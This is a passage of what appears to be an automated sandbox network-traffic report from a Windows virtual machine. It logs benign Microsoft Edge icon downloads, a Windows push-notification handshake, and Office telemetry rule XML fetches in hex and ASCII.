2024-11-23 08:16:57 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:57 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: f9357370-101e-005a-312a-3d6e86000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T081657Z-178bfbc474bv587zhC1NYCny5w00000003z000000000f8bh Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:16:57 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49892	13.107.246.40	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:57 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:16:57 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:57 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 262987a9-101e-003c-042a-3ddcdc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T081657Z-174c587ffdf4zw2thC1TEBu34000000002qg00000000cka6 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:57 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49891	13.107.246.40	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:57 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:16:57 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:57 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 3de0ab41-e01e-004f-365c-3dac1f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T081657Z-174c587ffdftv9hphC1TEBm29w00000002k000000000b5pf Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:16:57 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49893	13.107.246.40	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:57 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:16:57 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:57 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 4a51215c-501e-003b-2b2a-3d2a59000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T081657Z-178bfbc474b9fdhphC1NYCac0n000000045g000000003mky Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:57 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49890	13.107.246.40	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:57 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:16:58 UTC	516	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:58 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 723d072a-001e-000a-3f80-3d718e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T081657Z-15b8b599d88cn5thhC1TEBqxkn00000002gg00000000ake0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-23 08:16:58 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49889	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:57 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 48 76 4f 39 64 36 35 4d 67 30 75 7a 53 36 67 7a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 64 62 31 61 65 31 62 35 61 64 36 62 34 38 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: HvO9d65Mg0uzS6gz.1Context: 8db1ae1b5ad6b482
2024-11-23 08:16:57 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 08:16:57 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 48 76 4f 39 64 36 35 4d 67 30 75 7a 53 36 67 7a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 64 62 31 61 65 31 62 35 61 64 36 62 34 38 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 43 37 72 73 47 75 61 54 45 6f 77 67 4a 76 6a 71 2f 76 31 47 6e 4e 4b 51 33 2b 2f 58 48 69 63 33 5a 55 7a 44 34 6c 65 71 6a 67 39 72 61 79 53 76 46 6d 4f 63 4a 32 43 6c 52 45 31 67 7a 36 39 62 65 6c 39 4d 2f 45 6f 74 33 70 77 76 32 48 61 31 74 64 39 71 48 6a 75 63 6f 42 56 32 49 45 46 50 62 65 38 63 4f 49 6f 4d 2f 4b 4b 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: HvO9d65Mg0uzS6gz.2Context: 8db1ae1b5ad6b482<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQC7rsGuaTEowgJvjq/v1GnNKQ3+/XHic3ZUzD4leqjg9raySvFmOcJ2ClRE1gz69bel9M/Eot3pwv2Ha1td9qHjucoBV2IEFPbe8cOIoM/KK4
2024-11-23 08:16:57 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 48 76 4f 39 64 36 35 4d 67 30 75 7a 53 36 67 7a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 64 62 31 61 65 31 62 35 61 64 36 62 34 38 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: HvO9d65Mg0uzS6gz.3Context: 8db1ae1b5ad6b482<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 08:16:58 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 08:16:58 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 46 2f 50 66 2f 4f 47 59 4d 6b 36 45 57 31 36 68 31 50 4e 4f 64 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: F/Pf/OGYMk6EW16h1PNOdQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:57 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:58 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4e89b2fa-a01e-006f-563a-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081658Z-178bfbc474bfw4gbhC1NYCunf4000000044000000000cz3u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:58 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:58 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:58 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 80be2a3e-601e-003d-77f5-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081658Z-178bfbc474bbbqrhhC1NYCvw7400000004bg000000006bhh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:58 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:58 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:58 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081658Z-15b8b599d889fz52hC1TEB59as00000002q000000000551u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:58 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:58 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:58 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6ca31832-b01e-0021-3a64-3dcab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081658Z-15b8b599d88s6mj9hC1TEBur3000000002cg00000000f7r3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:16:58 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:58 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
